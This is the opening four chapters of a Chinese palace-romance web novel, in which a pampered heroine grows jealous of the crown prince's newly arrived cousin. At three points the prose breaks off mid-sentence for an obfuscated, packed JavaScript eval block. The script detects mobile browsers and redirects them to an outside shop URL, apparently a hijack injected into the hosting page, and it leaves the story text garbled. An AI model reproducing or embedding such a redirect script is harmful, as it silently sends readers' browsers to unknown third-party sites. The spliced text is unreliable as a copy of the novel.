《清冷太子他后悔了》 1. 01 积雪初融,绿草如茵,一红一白两只狐狸穿过草地,在山坡上飞快奔跑。 飕的一声,羽箭划破长空,正中红狐后腿。红狐哀鸣一声,从坡上滚落下来,不见踪影。 瞬息,一行人从东边疾驰而来。只见为首的女郎一袭红衣,乘着红马,颈上挂着一串明珠,双眸顾盼生辉。 侍卫拾起红狐,呈到马前。 穆清芷左手握着缰绳,身子微微前倾,右手已将红狐捞进怀里。 狐狸毛发柔软蓬松,如同一匹上好的锦缎,令人爱不释手。 身旁的女郎围了过来,纷纷赞叹:“好漂亮的红狐,一点杂毛都没有。” 忽然之间,远处的林子里传来一声凄惨的叫声。穆清芷抬头望去,一抹白色身影在林间跳跃竟然是方才逃脱的白狐去而复返。 闻声,穆清芷怀中的红狐发出断断续续的哀鸣,仿佛在回应。 穆清芷低头看它,红狐的眼珠漆黑,竟然流露出像人一样的哀求神情。 她微微一怔。 另一边,白狐仍旧在嚎叫。有女郎兴起,连发几箭,连白狐的一根毛都没碰到,只能在原地跺脚。 穆清芷见到这一幕,噗嗤一笑,将红狐交给侍卫,从箭囊里取出一支羽箭来。 呜呜声响,羽箭破空而来,劲力凌厉,白狐的身形一滞,消失在草丛间。 “射中了,射中了!” 穆清芷却叹了一口气,有些可惜:未能射中这只白狐的要害之处,恐怕它已经逃远了。 如今四月倒春寒,这狐狸毛色如雪,没一点杂质,正适合给太子哥哥做一件御寒的狐裘。 红狐被关在笼子里,朝着白狐离开的方向,发出呜呜的叫声。 穆清芷瞥了它一眼,扬起马鞭,笑道:“我们去把那只白狐狸也抓来,给它做个伴!” 这一笑灿然生光,宛若芙蓉初绽,娇艳欲滴。马下众人为这笑所摄,说不出话来,只是呆呆照做。 循着白狐消失的方向,又行了数里,树木愈发茂密繁多,通行艰难。 忽然,空中传来几声长鸣,叫声高亢。 一只雪白的海东青自云层现身,向下俯冲而来,眼神锐利凶猛,威武神异。 “是太子殿下的海东青!” 伴着阵阵惊呼,海东青盘旋在穆清芷头顶,双翼遮天蔽日,投下大片阴影,极具压迫感。 穆清芷毫不害怕,反而双眼发亮,又惊又喜地道:“决云,太子哥哥在哪里?快带我去找他。”语气里满是迫不及待。 决云飞到穆清芷手边,亲昵蹭了蹭她的手心,发出欢欣的叫声,这才在前引路。 又驰了数里,出了密林,即见一座山峰。山上各色旗帜舒展,旗面绣着翻腾的飞龙,日光一照,连龙鳞也闪烁着金光。 过了片刻,穆清芷行至山顶,只见一位白衣郎君正站在崖边,负手而立。 此时四月,万物发荣滋长,东方一轮红日当空,霞光万道,皆落在他的身上。 穆清芷心中一喜,连忙纵马奔去,阳光下红衣猎猎,宛若一团燃烧的火焰。 随行护卫见到她,连忙让开一条道路。 穆清芷疾驰一阵,陡然勒马,一边下马一边叫道:“太子哥哥!”脸上、语气里尽是欢喜无限。 萧旻头也不回,淡淡地应了一句,态度冷淡。 穆清芷浑然不觉,走到他身边,笑靥如花:“太子哥哥,你在看什么?” 说着,她向前探头探脑,只见崖壁陡峭,寸草不生,看了半晌,最终撇了撇嘴道:“没什么好看的。” 她转头道:“太子哥哥,我们去摘野花编花冠好不好?” 穆清芷伸手去牵萧旻的袖口,语气娇俏。 萧旻长眉蹙起,正欲开口,忽听一道轻柔的声音插了进来。 “这位女郎可是姓穆?” 穆清芷循声望去,只见一位身着淡蓝衣衫的女郎,正笑吟吟地望着她。细眉秀雅,双瞳剪水,削肩细腰,说不出的风流袅娜。 “是啊!我姓穆。”穆清芷惊奇道,“你怎么知道?难不成我们之前见过?” 蓝衣女郎浅浅笑道:“满长安谁人不知,您是皇后的掌上明珠。今日才得相见,不胜欢喜。” 语气轻柔,欢喜二字说得格外重些,意味深长。 穆清芷笑道:“你说的不错,我姨母对我最好啦!” 说完,她又问道:“可是,你究竟是谁啊?” 奉雪宜轻声细语地道:“民女姓奉,名唤雪宜。” “白雪的雪,仪容的仪?” 奉雪宜摇了摇头,转眸看了萧旻一眼,低下头去,柔声道:“是宜家宜室的宜。” 穆清芷心里登时浮现一丝异样,像是被狐狸爪子挠了一下,转瞬即逝。 她笑容微敛,好奇地问道:“你是哪家的娘子,我以前怎么从来没有见过?”思来想去,她从来没听说过有姓奉的世家大族,或者哪一个姓奉的寒门官员家里有这样一位女郎。 奉雪宜道:“民女不是长安人,是在辰州一个村寨长大的。” 穆清芷追问道:“那你是怎么和太子哥哥认识的?” 一个江南道的民女,怎么会和远在长安的太子殿下扯上干系呢? 奉雪宜并没有回答她的问话,而是看向萧旻,似乎是等待他的反应。 穆清芷心里怪异的感觉更重了。 为什么要看着太子哥哥? 有什么不能说的吗? 似乎察觉到奉雪宜的踌躇,萧旻不再无动于衷,回眸望向穆清芷。 穆清芷直直回望,不肯移开目光。 “她是我表妹。”萧旻淡淡地道。 穆清芷“啊”了一声,不假思索地道:“可是我姨母只有我娘一个姊妹啊?”话语里满是疑惑和不解。 萧旻是姨母的儿子,是她的表哥,不会有错。 奉雪宜神情微变。 萧旻道:“是我生母。” 只说了四个字,穆清芷不由一呆,半晌没说话。 她才想起萧旻并不是姨母的亲生儿子,他的生母只是一个不起眼的嫔妃。 一愣神间,萧旻问道:“你还不去采花?” 穆清芷闻言,顿时点头答应,流露出雀跃之情。 她朝着奉雪宜一笑,想要与她亲近一些:“我们一起去采花,让太子哥哥给我们编花冠。” 天穹广袤无垠,青山翠色欲流,红黄蓝粉各色的花朵点缀在草地上,葳蕤茂盛。 穆清芷伸手采了一朵淡粉的小花,兴冲冲地对着奉雪宜道:“好看吗?” 奉雪宜点点头。 穆清芷笑道:“那我把它送给你。”伸手要将这花别在奉雪宜的发间,却落了个空。 奉雪宜偏头躲过,冷淡地道:“多谢娘子的好意,我还是更喜欢蓝色的花。” 穆清芷撅起嘴,将粉花揉了揉,随手扔了。 跟随在后面的侍女见状,连忙走到穆清芷身边,不动声色地将二人分开。 不一会儿,穆清芷重新喜笑颜开,与侍女们采了满满一怀抱的花儿。 “太子哥哥!”穆清芷喊道,想要给萧旻看看,一转头却愣在了原地。 不知何时,奉雪宜已走到了萧旻的身旁。 二人并肩而立,衣袂飘飘,正低声说话。萧旻神情不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164493|196640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平日冷漠,奉雪宜则双眼泛着盈盈水光,仿佛伤心至极。 穆清芷站在低处,仰头望向二人亲密的举止,心中突然一酸。 从小到大,除了自己,寻常女郎连接近太子哥哥都不行,更别说和太子哥哥说上一句话。 为什么这个突然冒出来的女郎,能够得到太子哥哥的青睐呢? 见她回来,二人立刻住口不语,一齐看向穆清芷,好似心有灵犀。 一种被隔绝在外的感受油然而生,仿佛是有什么秘密瞒着她。 怎么可能! 穆清芷在心底反驳:自己和太子哥哥青梅竹马,情谊不同寻常,怎么是奉雪宜能比的呢? 她压下心中的异样,叫道:“你们在说什么,我也要听。” 奉雪宜走了下来,柔声说道:“是我眼睛进沙子难受,太子殿下安慰我。” 一听就是哄小孩的话,穆清芷却顺着往下说,笑嘻嘻地道:“那就好。要是太子哥哥欺负你,你告诉我,我一定帮你出气!” 她一边说,一边向旁边探出脑袋,对着站在前面的萧旻做了一个鬼脸。 实在是顽劣。 萧旻将穆清芷的举动看得清清楚楚,神色冷淡,移开视线。 奉雪宜却没接她的话,语气笃定地道:“殿下不会的。” 不会什么? 不会欺负她吗? 闻言,穆清芷的心一紧,忽然安静下来。 不待她细想,奉雪宜已经转过话题:“你摘了哪些花,给我瞧瞧。”话语里有些好奇。 穆清芷连忙打起精神,一样一样指给她看。奉雪宜听得认真,笑起来嘴角浮现一个浅浅的梨涡,清丽动人。 穆清芷望着她柔美的侧脸,有些呆了。忽然眼前一晃,是奉雪宜伸手在她面前挥了挥。 “在想什么?” 穆清芷却没有回答,怔怔地盯着奉雪宜的手腕。 原来说话间奉雪宜的衣袖上褪,不经意露出她左腕上的银镯。 这只银镯,她在太子哥哥那里见过。 第一次见到是在太子哥哥的寝殿里,就搁在他的枕边,用一方金茶花锦帕裹着。 自己心生好奇,忍不住拿起来把玩,还开口向太子哥哥索要,却被一口回绝。 那为什么这只镯子,会出现在奉雪宜的手腕上? 她抬眸看向奉雪宜。 只见奉雪宜也正凝望着自己,眉目如画。 一瞬之间,穆清芷觉得方才自己当着奉雪宜的面,故意表现出自己与太子哥哥的亲密,当真是可笑至极。 穆清芷一撒手,花朵落在脚边,她赌气地道:“一点也不好玩。” 奉雪宜见她发脾气,微微一愣,柔声道:“你不编花冠玩啦?” “不要不要。”穆清芷一边说,一边偷眼去看萧旻,望见他神色平静,不动于衷,半点也没将自己放在心上,心中不由更加气恼。 萧旻站在远处,见到奉雪宜弯腰拾起被穆清芷扔在地上的花儿,吩咐内侍去捡,再走到穆清芷跟前,问道:“你又为什么发脾气?” 穆清芷见到他来,心里的委屈消了许多,嘴上仍旧不饶人:“这花是我采的,我想扔就扔。” 萧旻听见这话,并未动怒,反而道:“那你也不要我给你编花冠了?”一双凤眸狭长,目不转睛地盯着她。 穆清芷怒气一顿,在心里想的那些气话,被他这么一问也说不出口了。 见她这样,萧旻轻轻叹息:“过来,我给你编花冠。” 他神情冷淡,话语里并无半分柔情,颇为无奈,穆清芷却立刻乖乖照做,走到他的跟前,低下了头,颇为柔顺。 2. 02 待到萧旻编好花冠给她戴上,穆清芷欢欢喜喜地道:“好看吗?”笑容灿烂,已将方才的难过拋到九霄云外去了。 她转了一个圈,裙裾飞起又落下,有些惋惜:“可惜这里没有荡秋千的地方。” 两人幼时常常在一处编花环荡秋千,想到这里,穆清芷不禁有些得意,悄悄地睨了奉雪宜一眼,心想这个花冠是她独有的。 太子哥哥也只给她一个人编花冠。 下一瞬,奉雪宜看了过来。四目相对,穆清芷秀目流盼,笑容明媚,头上戴着的花环衬得她如同百花仙子,无忧无虑,不知人间愁苦。 真是这样吗? 奉雪宜露出一个淡淡的笑,梨涡轻陷,清丽秀雅。紧接走到了萧旻身边,低声说了一句话。 穆清芷忽然有些惴惴不安,她竟然因为一句什么都听不见的话,生出一种胆怯来。 实在是不像她。 穆清芷心中忐忑,轻轻上前一步,想要牵住萧旻的衣袖,却扑了个空。 望着空空如也的手心,穆清芷缓缓抬起头,注视着萧旻冷峻的脸。明明就近在咫尺,她却突然感觉相隔千里。 “你躲开我?”穆清芷眼眶慢慢红了,质问道,“我想牵你的袖子你也不肯?” 萧旻看着她,语气平静,只说了两个字:“别闹。” 穆清芷不敢相信自己的耳朵。 她在无理取闹? 是她在无理取闹吗? 穆清芷将目光缓缓移到奉雪宜的脸上,隐隐约约感觉有什么东西发生了翻天覆地的变化,在她出现之后。 真是因为她吗? 穆清芷忽然转身,三两步上马,侍从们围将过来,只听她冷声道:“都别跟着我!”调转马头,身下的小红马如离弦之箭奔驰出去。 奉雪宜走到萧旻身边,问道:“要派人把穆娘子找回来吗?” “不必。”萧旻同样翻身上马,语气更冷。“回去罢。” 然而一路上决云焦躁不安,频频朝着穆清芷离开的方向啼叫,声音急促。 萧旻抚着决云的羽翎,呵斥道:“安静。” 挨了主人的训斥,决云神情发蔫,拍动翅膀,独自飞远了。 另一厢,穆清芷甩开侍从,一人一马在山林里游荡,等她回到营帐时,已是月上中天。 得知萧旻竟然没派人过来询问,穆清芷更加气了,赌气不吃晚饭,独自卧在床榻边。 忽然听见轻轻的脚步声,有人走到床边。穆清芷以为是侍女进来劝她,把脸埋在被子里,叫道:“不吃不吃,快出去。” 一道温柔的女声响起,含着笑意:“我也要出去吗?” 穆清芷一惊,翻身坐起,扑进那女子的怀里,“姨母,你怎么来了?” 祝兰君笑道:“我再不来,怕我的沅沅饿死了。” 方才寂静黑暗的营帐忽然活了过来。 帐内点起数盏灯火,侍女如流水般进进出出。祝兰君端坐在桌前,含笑看着对面的女郎,目光温柔。 一瓯热气腾腾的辣羹,配着胡饼、酥酪十余样菜品,吃得穆清芷鼻尖微微冒汗,浑身热乎乎的。 “姨母,你也吃几口。”穆清芷亲手盛了一碗汤,由侍女转交。 祝兰君接过吃了几口,放下碗道:“我听人说,你和太子闹脾气了。” “姨母,你不要在我面前提他。”穆清芷一脸不高兴。 她是真的生气了。 “好,我不提。” 祝兰君面带责备,想起下午得知消息时仍然心有余悸:“你生气就罢了,怎么能把侍卫扔下呢?你独自一人,万一让有心之人寻到可趁之机……” 声音渐渐低下去,祝兰君已说不下去了,显然想到从前的事,面上显露出伤心之色。 皇后的独子昭明太子萧旸,便是在狩猎途中意外坠马而亡的。 穆清芷见状,连忙搂住祝兰君的胳膊撒娇:“姨母,我当时是气急了,我以后不会再这样了。” 祝兰君抚着她的长发,心中爱怜不已:“这么晚回来,冷不冷?” “一点也不冷,姨母你摸我的手。”穆清芷中气十足地道。营帐内暖融融的,烘得她脸滚烫。 祝兰君握住穆清芷双手,只觉得她的身子火热,像是一个熊熊燃烧的火炉。 穆清芷依偎在祝兰君身边,忍不住问道:“姨母,你知道太子哥哥的生母是什么人吗?” “怎么突然问起这个?” 穆清芷便将今日之事一五一十地说了,末了,又缠着祝兰君追问。 祝兰君耐不住她的痴缠,只好道:“我只知道太子的生母是圣人从民间带来的一个瑶女,初时有些恩宠,后面渐渐被冷落了。” 穆清芷道:“是辰州人吗?” “这我就不知道了。”祝兰君微微一笑,转过话来,“你今天见过那个瑶女,她没与你为难吧?” 穆清芷想到奉雪宜避开自己示好的举动,心里不免生气。可她终究是萧旻的表妹,要是姨母因此怪罪到太子哥哥的头上就不好了,于是摇了摇头,道:“没有。” 祝兰君看着她神情变来变来,忍不住一笑,柔声道:“你生气尽管回来说,姨母给你做主,不必置气,不值得。” 寂然饭毕,侍女匆匆走进来,“娘娘,陛下传您过去。” 祝兰君正在侍女的伺候下洗手,闻言微微蹙眉:“今日不是薛昭仪伴驾吗?” “回娘娘的话,方才薛昭仪身子不适,御医诊出身孕,陛下便让昭仪回去歇息了。” “既然如此,我收拾好就过去。”祝兰君笑得更加柔和,转头吩咐道:“将我库房里的那座观音玉像送去给薛昭仪,还有那支百年老参,正适合给她补身子。” 待侍女离开,穆清芷愤愤不平地道:“姨母,你干嘛还要对她这么好。” 薛昭仪平日嚣张跋扈,屡次对祝兰君出言不逊。 祝兰君摸摸她的头,没放在心上:“还是小孩子脾气,在外面可不能这样说。” 穆清芷哼了一声,没应话。 “好了,早些歇息,姨母晚一些过来瞧你。” 祝兰君出了营帐,脸上的笑意缓缓消失,面容笼在阴影之中,看不真切。 “几个月了?”她问道。 “回娘娘的话,昭仪已有四个月的身孕。” 祝兰君缓缓一笑,柔声道:“走吧,别让陛下等急了。” 穆清芷等了很晚,也没有等来姨母,直到祝兰君派侍女说,让她早些歇息这才睡下。 夜里寂静,连翻身的动静都听得清楚。侍女进来问道:“娘子睡不着吗?” 穆清芷嗯了一声,忽然问道:“窗外有什么声音在叫?” 侍女侧耳细听,果然听见一声凄厉的嚎叫,若隐若现,像是从很远的地方传来,不禁打了一个寒颤。 “是狐狸的叫声。”穆清芷坐起身来,抱着柔软的锦被,眼神发亮,难不成是白天那只白狐找过来了? 此处是皇家猎场,守卫森严,它没办法进来,只能在猎场周围徘徊悲鸣。 “我要出去看看。”不顾侍女的劝阻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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良久,她才转头问侍女:“你说,有什么要紧的事,非要这么晚,避人耳目地说。” 方才离得太远,她只能看见两个人并肩而行,却没听清说了什么。 可有什么重大的事,太子不与幕僚商议,非要和一个女郎说起吗? 穆清芷思来想去,并不能用这个借口安慰自己。反而心里好像破了一个大洞,空荡荡的,呼呼漏风。 只有一个可能。 穆清芷不愿去想,也不敢去想。 这样寂静的夜,孤男寡女,除了今晚被她撞见的这一遭,是不是还有许多回,她没有看见。 侍女支支吾吾,回答不上来。 穆清芷又问:“太子哥哥是对我更好一点,还是对她更好一点?” 她从来从来没有过这个念头,可是今天奉雪宜的出现,让她开始怀疑自己。 “当然是娘子您。” 侍女道:“奉娘子只是太子的表妹,才能得到殿下几分眼神。娘子您却不一样,您和殿下青梅竹马,两小无猜,她怎么能与您相提并论。” 是啊。 穆清芷垂下眼,月光映照在她的脸上,与她平日里肆意明媚的样子大相径庭。 大家都这么说。 可真是这样吗? 一个模模糊糊的念头钻出来,穆清芷来不及细想,忽然听见翅翼拍动的声响,不及抬头,决云已扑将下来,停在穆清芷的肩头,欢声鸣叫。 决云骨翅坚实,一双鹰爪如同铁钩泛着寒光,寻常人碰都碰不得,更别说同它如此亲昵。 穆清芷又惊又喜,叫了一声“决云”,摸着它毛茸茸的脑袋,心中大定,方才的念头烟消云散。 除了她与太子哥哥,谁还能碰决云一根毫毛? 也许是真有什么事情吧? 穆清芷在心里想,明日她就去找太子哥哥问个明白。 3. 03 翌日清晨,侍女进来道:“娘子,太子身边的内侍过来,说要把决云迎回去。” 穆清芷坐在镜子前,听到前半句眼前忽地一亮,紧接着又黯淡下去。 “不准。”穆清芷打了个哈欠,一脸不高兴。 侍女应了一声,转身退下。 “等等。”穆清芷叫住她,“你告诉他,除非是太子哥哥亲自来,否则别想要回决云。” “就说是我亲口说的!”穆清芷再三强调。 等到侍女出去,她又问面前的侍女:“姨母昨晚什么时辰回来的?” “圣上昨天半夜风疾发作,要提前摆驾回宫,皇后正忙着命人整束行装,还未回来。” 穆清芷点点头,对镜理了理发髻钗环,起身往外走。 见到主人出来,决云振翅扑来,在她面前盘来旋去,叫声欢愉。 穆清芷摸了摸它的羽翎,亲自拿肉去喂它。一边喂,一边对着它自言自语:“决云,你说为什么太子哥哥对她不一般呢?” 过了一会,穆清芷又换了一个问题:“如果太子哥哥来接你,你说我要不要把你还给他。你是更喜欢我,还是太子哥哥?” 决云拍了拍翅膀,发出一声鸣叫,显然饱腹之后极为欢快。 “就知道吃,和你说不通。”穆清芷哼了一声,转身去用早膳。 吃饱喝足,侍女们开始收拾行装,穆清芷则独自牵着自己的小红马散步去了。 “殿下,对面好像是穆娘子。” 萧旻听见内侍的话,停下脚步,抬起眸子看向远处。 她穿着一身红衣绛裙,暮春的阳光倾洒下来,照得她的衣裳闪闪发亮。身侧小红马四蹄轻盈,身形匀称,随着走动流露出一股矫健昂扬的气度。 山坡上芳草遍地,小红马甩着头,不时停下来啃食几口。 穆清芷则摸着它的鬃毛,低头给它编了一个小辫子,笑容明媚,说不出的娇俏可爱。 萧旻移开目光,忽然感觉清晨的日光有些刺眼。 忽听得远处的林中传来一阵骚动,惊得鸟雀乱飞,两三位女郎纵马奔了出来。 “吁——” 见到不远处有人,马上乘客纷纷勒马,唯有一位身着劲装的女郎不仅没有勒马,反而骑得更快了。 “九娘,快停下!” 只见“唰”的一声轻响,鞭子如同灵蛇精准落在马颈处绕了几圈,用力一扯,马儿吃痛前蹄高高抬起,要将马背上的人甩下去。 此时,穆清芷已急跃上马,窜到几丈之外,左手握着缰绳,冷眼而视。 “穆清芷!”女郎怒目而视,“你什么意思。” 她是河东薛氏的女郎,排行第七,名叫薛涵。姐姐正是近来备受宠爱的薛昭仪。 “这句话该我问你。” 穆清芷下巴微微扬起,冷然道:“你不长眼睛吗?”明明看到她站在这里,还刻意纵马过来。 如果不是她反应过来,恐怕要被踩踏在她的马蹄之下。 薛涵避而不谈,反问道:“你故意拿鞭子勒我的马,害得我差点摔下来,这事怎么办?” “与我何干。” 穆清芷面露轻蔑,指着地上的马鞭,命令道:“捡起来。” 薛涵握紧缰绳,绷紧面皮,一动不动。 这时后头的几个女郎提着缰绳策马走了过来,听见穆清芷这话,其中一个女郎翻身下马,正要弯腰捡起。 “不准捡!”薛涵尖叫道,“谁让你讨好她的?她说什么你就听。” 那女郎愣在了原地,脸上露出窘迫的神色,一时进退两难。 穆清芷开口道:“你回去。既然她不肯捡,那我自己来。”双腿一夹,小红马如箭离弦,冲了出去。 穆清芷俯身拾起地上的马鞭,却没勒马停下,径直朝着薛涵掠去,愈来愈近。 薛涵一脸惊恐,纵马想要躲开,却无济于事。 啪啪啪! 鞭子凌空落下,薛涵的发髻散乱,金钗玉簪摔得四分五裂,珠子滚了一地,手腕上还烙着一道火辣辣的鞭痕。 穆清芷勒马回头,露出一个灿烂的笑,十分得意:“小惩大诫,这次我只是打散你的头发,不要再有下次了。”说罢疾驰而去。 薛涵捂着面颊,因为屈辱身体微微颤抖,缓缓淌下一行眼泪。 她脸上流露出怨毒之色,“我要去告诉姐姐!” 身侧的女郎欲言又止,“可是……”皇后可是她的姨母。 薛涵听出未尽之意,狠狠地瞪了她一眼,冷笑道:“天底下就她最尊贵吗?我看未必!” 来日姐姐顺利诞下皇子,凭借河东薛氏的声望势力,即便是帝位也有一争之力。 穆清芷算什么东西! 终有一天,她要将今日的屈辱百倍奉还。 见了这样一出闹剧,内侍小心翼翼地禀道:“殿下……” 这位穆娘子果然是娇蛮任性,得理不饶人,公然鞭打官员之女,也不知道太子殿下作何感想。 萧旻睨了他一眼。只一眼,内侍立刻闭上了嘴。 “让看见的人都闭上嘴。”萧旻扔下一句话,大步离去。 因陛下的风疾发作,今年春狩提前结束。穆清芷甚至来不及去找萧旻,便被侍女催促急急忙忙地上了马车。 她趴在马车窗边,伸手与决云玩闹,笑声清脆。 忽然听见后方马蹄声疾,穆清芷回头张望,只见萧旻身着劲装,眉目俊朗,追赶上来。 穆清芷突然见到他,心中一喜,正要呼唤,随即想到昨夜之事,便住嘴了。 萧旻掠过马车,疾驰而去,连一个眼神也没给她。 穆清芷虽然在和决云玩耍,其实一直悄悄分心关注他。 见他不为所动的样子,心里憋着一股气,再看见面前叫声欢快的决云,忍不住大声道:“你怎么还笑,傻乎乎的,被人丢掉了都不知道,真可怜。” 她一面说,一面悄悄看向萧旻,盼着他回眸望一眼。 但没有。 一直没有。 反而是奉雪宜从后方赶了上来,与萧旻并辔而行。 穆清芷看不见萧旻的神情,但瞧见奉雪宜转过的侧脸上,颊边浮现两个浅浅的梨涡,想必二人聊得很开心。 穆清芷砰的一声关上窗子,胸膛猛烈起伏。 怀里,决云正一脸无辜地看着她,不明白主人为什么好端端的生气了。 穆清芷低声说:“我也不明白……”她心里有些失落,像是心里少了什么。可究竟少了什么,她自己也说不上来。 明明,明明从前和太子哥哥并辔而行的女郎,应该是自己啊。 又行了数里路,萧旻与奉雪宜早已往前去了。穆清芷耐不住性子,吩咐侍卫牵来小红马,她要骑马。 一口气驰了数里,前面竟然出现奉雪宜的身影,好在萧旻并不在她的身边,穆清芷这才稍感舒心。 “穆娘子,你好啊。”奉雪宜微笑着道。 穆清芷闷闷地应了一声,不去看她的脸。 “这是表哥养着的那只海东青吗?”奉雪宜看着决云,见它停在穆清芷肩头温顺乖巧的模样,面露好奇,驱马靠了过来,想要逗弄。 “小心!”穆清芷吓了一跳,连忙叫道。 只见决云低下头,猛地朝奉雪宜手背一啄。若非穆清芷眼疾手快地扯开,这一下非得皮开肉绽不可。 “决云不喜欢别人碰它,你别乱动。” 穆清芷抓着奉雪宜的左腕,庆幸地道:“还好没受伤。” 奉雪宜也被吓了一跳,好半晌才缓过神来,露出一个歉意的笑:“是我鲁莽了。” 动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164495|196640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作间,穆清芷瞥见奉雪宜左腕上的银镯,心情瞬间低落下去。 此时,太子身边的内侍过来询问发生了什么。 穆清芷抬眸看向前方,太子的车驾在数十丈外,乌压压的宫人侍卫跟随在后,竟然还能留意到这里的动静。 问明白事情,过了一会,内侍去而复返,手上拿着药膏:“这是殿下给奉娘子的。” 穆清芷心里更难过了。懒得再看一眼,径直越过二人,往前去了。 “娘子留步。”内侍拔腿追了上来,可双腿怎么可能比得过小红马的四蹄。 “又怎么了?”穆清芷轻轻勒马,不耐烦地道。 内侍小跑着上前,笑得恭敬:“太子殿下请您过去一趟。” “太子哥哥,你找我?” 穆清芷提起裙子,语气轻快,两三步登上马车。 见到她弯腰进来,萧旻没有说话,只是微微抬起眼眸。昏暗的光线里,更显得他的眼眸狭长,看人时有一种冷意。 决云见到萧旻,立刻扑腾翅膀,却被穆清芷飞快地抓住。 “不准过去。”穆清芷哼了一声,“太子哥哥,我还以为你不要决云了。” “我今早就派人去找你要了,不是让你打发回去吗?”萧旻淡淡地道。 穆清芷一噎,干脆道:“我不管,就是你的错。” 见到她语气刁蛮,萧旻不欲再说,伸手道:“过来。” 看着朝自己摊开的掌心,穆清芷一愣,下意识地想要伸手搭上去。 然而扑棱棱几声响动,决云趁着她愣神的片刻,挣脱她的怀抱,停在萧旻的手上。 穆清芷猛地收回手,脸颊一红,怒气冲冲地瞪了萧旻一眼。 萧旻将她的动作收之眼底,并未发作,转眸注视决云,语气带着几分责备:“平日看着乖巧,咬起人来真狠,连谁对你好分不清,不许再胡闹了。”话语里意有所指。 其实萧旻这话是指今早穆清芷不许人将决云接走,穆清芷却没明白,以为萧旻是在责怪决云,哼了一声:“你什么意思?那你说决云该咬谁?” 萧旻松开手,让决云飞出窗外,无奈地道:“你又想到哪里去了?” 穆清芷怒道:“难道我说错了?” 萧旻见她反而更加生气,便也不接口了,神情淡漠,仿佛置身事外。 穆清芷见他这样,心里更加气了:“你既然心疼她被咬了,哪里就眼巴巴地送药膏,干脆亲自去哄她,找我来做什么?我又没被咬。我知道了,其实你是不是心里想,希望是我手上被啄了一口,而不是她。”否则萧旻为什么会没缘由地训斥决云,他明知道决云性情桀骜,寻常人根本进不得身。 他分明是替奉雪宜不平。 萧旻道:“我没有这个意思。” “那你昨晚为什么和她待在一块,什么事不能白天说?” 萧旻昨夜就已察觉林子里有人,知晓穆清芷并没听见他们的话,然而穆清芷陡然当面质问,不免神色微变。 “你说不上话啦?”穆清芷自然不会错过他的反应,理直气壮地道:“你分明就是心虚了!” 萧旻蹙起长眉,凤目静静地盯着她,一言不发。 穆清芷怒道:“她是你的亲表妹,你喜欢她,我比不过。哼!”瞪了他一眼,冲了出去,跳下马车。 “殿下,要不要把穆娘子追回来?” 萧旻左手支额,微微阖眼,道:“让她去吧。” 穆清芷冷静下来,放慢脚步等了一会,却没看见有人追了上来,心里既生气又难过。 甩开侍从,骑着小红马往一条山路狂奔,不知过了多久,慢慢地停了下来。 穆清芷跳下马,躲在一棵树后,头埋在膝盖上,发上的红丝带垂落在肩。 过了一会,肩膀耸动,抽抽噎噎地哭了起来。 4. 04 “娘子最近怎么了?” 穆清芷坐在秋千架上,双手抓着缀满花朵的秋千绳,忽然长长地叹了一声气。 另一个侍女接口道:“一定是在想太子殿下!” “殿下这几日没有进宫,我们娘子的魂啊,都要飞走了。”她一边说,一边笑着跑开了。 穆清芷回过神来,从秋千架上跳起来,追了上去:“好啊,你还敢调侃我,看我不好好修理你。” 打闹一通,穆清芷重新坐下,轻倚在秋千架上,左足点地,有一下没一下地晃荡。 上次和太子哥哥发生的事,穆清芷谁也没说,一个人憋在心里。 其实过了这么久,穆清芷早就不生气了。但一想到萧旻这么久对自己不闻不问,便觉得如鲠在喉,也拉不下脸去寻他。 他竟然也不来找自己。 穆清芷心里想着这事,脸上流露出伤心的神色。 有奉雪宜陪着他,他是不是早就把自己抛之脑后了。 忽听见一声鹰啼,决云从远处飞了回来,在穆清芷面前盘来旋去,逗她开心。 “娘子别难过了。”侍女笑道,“后日就是端午,到时候一定能见到太子殿下。” 穆清芷闻言,顿时想起往年与太子哥哥同登丹凤楼的情景,一瞬间千万种柔情蜜意涌上心头,露出一个恬静的微笑。 秋千摆动,粉色的裙裾摇曳,如同一朵开在半空中的粉色芙蓉,鲜妍美丽。 五月初五,太子携诸皇子皇女拜见帝后,赐五彩绳,共庆端午佳节。圣人命太子亲至丹凤楼,与民同乐。 穆清芷一早站在丹凤楼之上,任凭彩楼下人头攒动,也不闻不问,遥遥望着太极宫的方向。 “咚——咚——咚——” 金鼓齐鸣,震得地面微颤,太子銮驾出太极门,向着丹凤门而来。人群如潮水般涌动,伸长脖子想要一睹储君真容,却只能看见辂车上明黄的帷幕。 突然一个小童从人群里钻出来,挡在了銮驾的必经之路上。 穆清芷忍不住握紧栏杆,暗骂侍卫都是一群废物,连个小孩都拦不住。 辂车停下,四角晃荡的金铃渐渐安静。一道温润的声音响起:“把他抱过来。” 内侍忙不迭地应道,抱起小童,靠近车帘前。 明黄的帷幕掀起一角,一只骨节分明的手探了出来,指尖捻着一缕五彩绳,末端缀着一颗金珠。 “给他戴上。” 众人这才发现小童手腕上竟然没有佩戴五彩绳。 五彩绳又叫长命缕,端午这日,人人都要佩戴,有辟邪消灾的寓意。 再看他浑身脏兮兮的,家中父母显然十分不上心,竟然连五彩绳都没有准备。 